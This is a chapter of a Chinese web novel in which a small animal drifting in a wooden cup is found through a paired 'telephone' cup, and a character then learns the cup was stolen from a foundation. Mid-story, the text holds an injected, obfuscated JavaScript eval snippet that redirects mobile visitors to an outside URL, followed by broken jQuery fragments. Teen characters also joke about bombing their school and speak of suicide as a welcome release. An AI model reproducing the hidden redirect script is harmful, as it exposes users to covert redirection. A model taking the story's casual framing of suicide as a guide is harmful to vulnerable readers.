刻不容缓 作品

24. 木杯电话

飞飞好莫名其妙,它在池塘漂流了将近十个小时,不仅要防范时不时漫进来的水,还要击退在下面顶杯子的锦鲤。当杯子靠近岸边,它还要奋力划走,因为学校里的学生特别讨厌,总想在岸边等着它靠岸,研究一下木杯里的小动物是什么。


刘征兰和颜阎说了,小动物落到男高中生手里就完蛋了!他们的恶毒超乎你的想象!


日暮西垂,飞飞的眼皮上下打架。它真心觉得自己很可怜。被人踢,被人扔,现在还要被人淹死了。人类最坏了!


在无尽的委屈中,它战战兢兢地睡着了。


梦里,康烁影把它打捞上来,球球围着它转圈,银芯梅跪在地上忏悔:“我错了,尊敬的菲即唧·菲吱殿下,没有关注你的安危是我的错,从今往后,我愿意让你成为剪片员!”


康烁影和她的两个新朋友站在一边,搓搓手,眨眨眼,用谄媚的眼神看着它,祈求它的原谅。飞飞宽容地挥挥手:“你们只要开口,我就原谅你们。”


三人感激地开口:


“这么几个单词就记不住了?”


飞飞怀疑自己的耳朵:“什么?”


“不想学滚出去,想上我课的人多的是,不差你们几个。”


“这个词都不认识?你们老师怎么教的?”


“这个词的意思是形式主义,我给你们延伸一下……延伸三个怎么了?用得着你们给我挑刺?”


“就算你们夸我我也不会给你们减单词的。”


“是吧?今天的衣服好看吧?我大学同学说土。”


“她?她就是个……怎么说?绿茶!”


“柳令全?你怎么错这么多,身材这么胖了脑子还不聪明,你是猪啊!小心以后找不到男朋友。”


“我没男朋友怎么啦?我为什么一定要谈恋爱啊……”


好吵!好尖利的嗓音,好天马行空的语言,好突兀的话题延伸,好双标的言论!


飞飞从折磨中醒过来,感觉梦里的发言近在咫尺,这种声音令它想起了自己遇到过的许多不讲理领导。它痛苦地缩起来,感觉自己做了个恐怖的噩梦。


然而噩梦悄悄跟进了现实。刚才那个尖利的声音从它身下传来:“颜阎,只错了两个,不用罚钱,算你命好!”


飞飞立刻跳了起来:“哇!!!”


连木杯都不安全了吗!


它仔细研究了一下这个杯子。浑然一体,毫无科技痕迹,底部没有通讯器和隧道,那声音是从哪里来的呢?


尖利的声音响了半天,它本来就不好听,一起伏,简直呕哑嘲哳。虽然声音不大,还是把它听到捂着耳朵打滚。杯子摇摇晃晃,漫进来好多水,都积到它身子的一半了。它又忙着把水舀出去。


舀了一阵,杯子里的声音消失了。它警觉地停下来,把耳朵贴在杯底,试图找到一些小小的线索。


杯底很安静,它只能听到周围水波摇动的声音和鱼吐泡泡的啵啵声。


就在它以为静默将一直持续时,杯子里窸窸窣窣了一阵,似乎是纸张的声音,然后是布料摩擦,再是呼吸,紧接着,有个人深吸了一口气:


“两个小娃娃呀,正在打电话呀!”


恐怖的音浪将飞飞彻底击倒,它的耳朵里好像有七百个颜阎举着大喇叭欢快地唱歌跳舞,直到世界的尽头。


一根完美的笔直木棍伸了过来,拦住杯子的去路,悄悄把它拨向岸边。


歌声还在继续:“喂喂喂!你在哪里呀?”


木杯终于靠岸了!刘征兰和康烁影击掌相庆。虽然因为默契不足没击到,但这这不影响康烁影的快乐,她一把捞起木杯,把里面湿漉漉的软垫和摊成馄饨皮的飞飞倒出来。


木杯空了,刘征兰拿过它,对着里面回复:“哎哎哎,我在幼儿园!”


木杯两端莫名其妙大笑起来。


康烁影把飞飞拢在手里,让它汲取一点自己的暖意。飞飞呜呜地抽噎着,两只大眼睛黯淡无光,嘴里不停重复:“我再也不躲在颜阎班上了……我再也不躲在颜阎班上了!”


刘征兰钻进呼叫中心,开门把颜阎接回学校,省去了来回的时间。两个人坐在水池边嘻嘻哈哈地对唱:“你在哪里呀?”“我在高中呀。”“你在做什么?”“我在受折磨。”“去炸学校吧。”“你去我就去。”“炸完就自杀。”“好呀好呀。”


话题一路朝着危险的地方狂奔,康烁影把飞飞顶到头上,两只手捏住她俩的嘴:“少说!”


两个人比ok,康烁影一松开,两个人就鬼鬼祟祟跑远了一点,继续说,时不时发出一阵诡异的奸笑。


飞飞找回来了,银芯梅也很惊喜。伊用手去接蜜袋鼯的身体,一碰到它粉色的腹部,它就嚎:“冰!冰!手冰!”


银芯梅语调平平地骂牠:“你还挑上了。”


律易棋把手搓热,从康烁影的手里把它接过来。飞飞暖暖和和贴着他的皮肤,嘿嘿直笑,边笑边往他袖子里钻,伤疤还没好就把痛给忘了。


律易棋把这张小馄饨皮塞进衣领里,贴肉暖着:“怎么找到的?”


“不知道。”颜阎从门框里探出头,笑嘻嘻甜滋滋地拿了颗卤蛋。她没吃晚饭,快饿晕了,“这个杯子是一对的。飞飞拿了一个,另一个在呼叫中心里。我抄近路时听到里面有呼噜声,仔细一听就觉得不对,感觉是飞飞。所以把它带去上课,一下课就往里面喊了一声,让康烁影循着声音去找,最后在学校的水池子里找着了。”


律易棋拎着杯子检查了一阵,真没看出来什么别的。杯子是从一整块木料上挖出来的,做工粗糙,没有任何拼接的痕迹,自然也没有科技植入的余地。他用各种设备扫了一遍,也没有后天生物改造的痕迹。先天基因?藤发人科技?不应该啊。


“你看好没有?看好我们就拿走了。”刘征兰说,“呼叫中心出品,不许外借。”


看不出什么的


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467399|154276||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


律易棋把这东西还给她们。三个人火急火燎地回去上课了。


自从律易棋认识她们以来,她们没有一刻是不着急的。去得急匆匆,回得乐癫癫,刑满出狱都不见得有这么高兴。刘征兰和颜阎偶尔还会回得冷冰冰,问她们放学怎么不高兴,她们就冷笑:“明天还得上,等我退学了我就高兴了。”


“你俩就不能活到毕业?”


“不行,想死。”


他习惯了。谈论死对于高中生来说,比谈论生平常多了。她们没有别的出口,只能幻想解脱以求慰藉。退学太不切实际,相比之下,死倒轻松。


颜阎曾绘声绘色地描述:“真的!死好呀!”她一说到死,就容光焕发,“我成绩差学不了文,学理又不如死了。毕业后也融入不了社会,只能饿死在出租屋。现在死就能跳过一切过程,领先十年。”


刘征兰笑,见眉不见眼的。她说到死就低下眼睛,带着一股莫名的放松:“我现在没死,主要是怕疼。死的过程是很痛苦的,要是死没有过程就好了。”


颜阎也笑:“如果死亡是个按钮,我现在就按。”


当时的康烁影点头应和,没有说话,只是笑。


那个场景有点诡异,但律易棋无所谓。这是她们自己的人生,她们怎么选择都是她们自己的事。


从回忆中抽离,律易棋意识到银芯梅已经开启折射伪装去剪片子了。飞飞窝在他脖子里,呼吸均匀地睡着。球球一路飞过去跟拍康烁影,店里只有他一个人醒着,正好适合看训传!


他打开训传,漫无目的地翻了一阵。从伏人音乐家羽赫的个人独奏会,到斩将夺旗的最新赛事,再到尤里卡时刻的庆祝会和柯玛社会最近的电信号上瘾数据。


他的视线落在一条新闻上。


《玛丽基金会连续失窃?!从防盗系统重大漏洞看到基金会的颓势》


好八卦小报的标题。他点进去看了一眼,报道内容从基金会连续失窃说到基金会的公告漏洞,再一路扯到基金会内部的资金运转和政治影响力。如果律易棋今年还是二十五岁,他就被骗到了。可惜他已经加入掮木许多年,心里明白基金会的运转非常健康。


吸引他的不是这种低端键政,而是玛丽基金会的失窃。


玛丽基金会在三个月前连续丢失了三件重要物品,分别是灵肉创造者弓粟的电子意识模型,博物馆内的一整套老式设备(属于弓粟)和一对木杯。


一对木杯。


木杯的照片被放大摆在一个很显眼的地方。


律易棋立刻凝视照片,照片在他眼前放大,出现棱角,呈现出浮空的立体模型姿态。他用触控手套翻了翻,确定了这就是飞飞当窝的那个木杯。


弓粟虽然创造出了灵肉这个种族,但她毕竟是上千年前的人,她的实验设备和电子模型出逃无法带来特别大的影响,但那个木杯不同。


它属于空想文明,是宇宙上一个时代的遗产。